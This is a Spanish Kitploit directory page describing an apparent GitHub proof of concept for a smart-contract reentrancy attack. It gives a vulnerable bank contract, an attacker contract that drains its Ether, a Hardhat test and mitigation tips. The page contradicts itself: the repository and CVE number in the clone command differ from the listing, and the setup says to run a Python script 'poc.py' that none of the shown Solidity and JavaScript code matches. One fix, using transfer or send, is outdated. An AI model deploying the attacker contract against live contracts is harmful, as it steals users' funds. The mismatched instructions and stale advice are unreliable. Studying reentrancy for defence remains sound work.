Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-4126 — POC de vulnerabilidad de ataque de reentrada en contratos inteligentes | Kitploit
Herramientas/GitHubGitHub/slow-mist/cve-2025-4126
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónLabs y Práctica
GitHubslow-mist/cve-2025-4126

CVE-2025-4126

POC de vulnerabilidad de ataque de reentrada en contratos inteligentes

Ver Repositorio
13hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

POC-CVE-2025-4126

Verificación de vulnerabilidad de ataque de reentrada en contratos inteligentes

PoC de Ataque de Reentrada en Contratos Inteligentes

Este repositorio contiene una Prueba de Concepto (PoC) que demuestra una vulnerabilidad de ataque de reentrada en contratos inteligentes de Ethereum. La PoC incluye un contrato inteligente vulnerable, un contrato atacante e instrucciones para reproducir el ataque en un entorno de prueba local.

Tabla de Contenidos

  • Descripción General
  • Descripción de la Vulnerabilidad
  • Configuración de la PoC
  • Ejecución de la PoC
  • Licencia

Descripción General

La reentrada es una vulnerabilidad común en contratos inteligentes de Ethereum donde un contrato externo puede hacer llamadas repetidas al contrato original antes de que la primera llamada se complete, potencialmente drenando fondos o manipulando el estado. Esta PoC demuestra cómo un atacante puede explotar un contrato vulnerable para robar Ether.

Descripción de la Vulnerabilidad

El contrato vulnerable (VulnerableBank) permite a los usuarios depositar y retirar Ether. Sin embargo, no maneja adecuadamente las actualizaciones de estado antes de realizar llamadas externas, lo que lo hace susceptible a reentrada. El contrato atacante (Attacker) explota esto llamando recursivamente a la función withdraw para drenar el saldo de Ether del contrato.

Problema Clave

  • La función withdraw en VulnerableBank envía Ether al llamante antes de actualizar el saldo del usuario.
  • Esto permite que el contrato atacante llame a withdraw nuevamente en su función fallback, drenando los fondos del contrato.

Configuración de la PoC

Para ejecutar esta PoC, necesitas:

  • python3.x
  • pip3

Instalación y Ejecución

  1. Clona este repositorio:
    root@kitploit:~
    git clone https://github.com/Layer1-Artist/POC-CVE-2025-48621.git
    cd POC-CVE-2025-48621
    
  2. Ejecuta:
    root@kitploit:~
    python3 poc.py
    

Código de la PoC

A continuación se muestran los dos contratos utilizados en esta PoC:

VulnerableBank.sol

Este contrato simula un banco simple que permite depósitos y retiros, pero es vulnerable a reentrada.

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Vulnerable: External call before state update
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // State update after external call
        balances[msg.sender] = 0;
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Attacker.sol

Este contrato explota la vulnerabilidad de reentrada llamando recursivamente a la función withdraw.

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attacker {
    VulnerableBank public vulnerableBank;
    uint256 public constant WITHDRAW_AMOUNT = 1 ether;

    constructor(address _vulnerableBankAddress) {
        vulnerableBank = VulnerableBank(_vulnerableBankAddress);
    }

    // Initiate the attack
    function attack() external payable {
        require(msg.value >= WITHDRAW_AMOUNT, "Need at least 1 Ether to attack");
        vulnerableBank.deposit{value: WITHDRAW_AMOUNT}();
        vulnerableBank.withdraw();
    }

    // Fallback function to recursively call withdraw
    receive() external payable {
        if (address(vulnerableBank).balance >= WITHDRAW_AMOUNT) {
            vulnerableBank.withdraw();
        }
    }

    // Withdraw stolen Ether to attacker's address
    function withdrawFunds() external {
        payable(msg.sender).transfer(address(this).balance);
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Script de Prueba Hardhat

Se incluye un script de prueba Hardhat para automatizar la simulación del ataque.

root@kitploit:~
const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("Reentrancy Attack PoC", function () {
  let vulnerableBank, attacker, owner, attackerAddr;

  beforeEach(async function () {
    // Deploy VulnerableBank
    const VulnerableBank = await ethers.getContractFactory("VulnerableBank");
    vulnerableBank = await VulnerableBank.deploy();
    await vulnerableBank.deployed();

    // Deploy Attacker
    const Attacker = await ethers.getContractFactory("Attacker");
    [owner, attackerAddr] = await ethers.getSigners();
    attacker = await Attacker.deploy(vulnerableBank.address);
    await attacker.deployed();

    // Fund VulnerableBank with 10 Ether
    await owner.sendTransaction({
      to: vulnerableBank.address,
      value: ethers.utils.parseEther("10"),
    });
  });

  it("should drain VulnerableBank via reentrancy", async function () {
    // Initial balances
    const initialBankBalance = await vulnerableBank.getBalance();
    console.log(`Initial Bank Balance: ${ethers.utils.formatEther(initialBankBalance)} ETH`);

    // Execute attack with 1 Ether
    await attacker.connect(attackerAddr).attack({ value: ethers.utils.parseEther("1") });

    // Check final balances
    const finalBankBalance = await vulnerableBank.getBalance();
    const attackerBalance = await attacker.getBalance();
    console.log(`Final Bank Balance: ${ethers.utils.formatEther(finalBankBalance)} ETH`);
    console.log(`Attacker Balance: ${ethers.utils.formatEther(attackerBalance)} ETH`);

    expect(finalBankBalance).to.equal(0, "Bank should be drained");
    expect(attackerBalance).to.be.above(0, "Attacker should have stolen funds");
  });
});

Salida Esperada

  • Saldo inicial del banco: 10 ETH
  • Saldo final del banco: 0 ETH
  • Saldo del atacante: ~10 ETH (menos tarifas de gas)

Mitigación

Para prevenir ataques de reentrada, considera las siguientes mejores prácticas:

  1. Patrón de Checks-Efectos-Interacciones: Actualiza el estado (ej., saldos) antes de realizar llamadas externas.
  2. Guardián de Reentrada: Utiliza un modificador (ej., ReentrancyGuard de OpenZeppelin) para evitar llamadas recursivas.
  3. Limitar Gas: Restringe el gas enviado a llamadas externas para prevenir lógica de reentrada compleja.
  4. Usar transfer o send: Estos métodos limitan el gas, reduciendo el riesgo de reentrada.

Ejemplo de Corrección para VulnerableBank.sol

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Update state first
        balances[msg.sender] = 0;

        // Then make external call
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Licencia

Este proyecto está licenciado bajo la Licencia MIT - consulta el archivo LICENSE para más detalles.

Descargar herramienta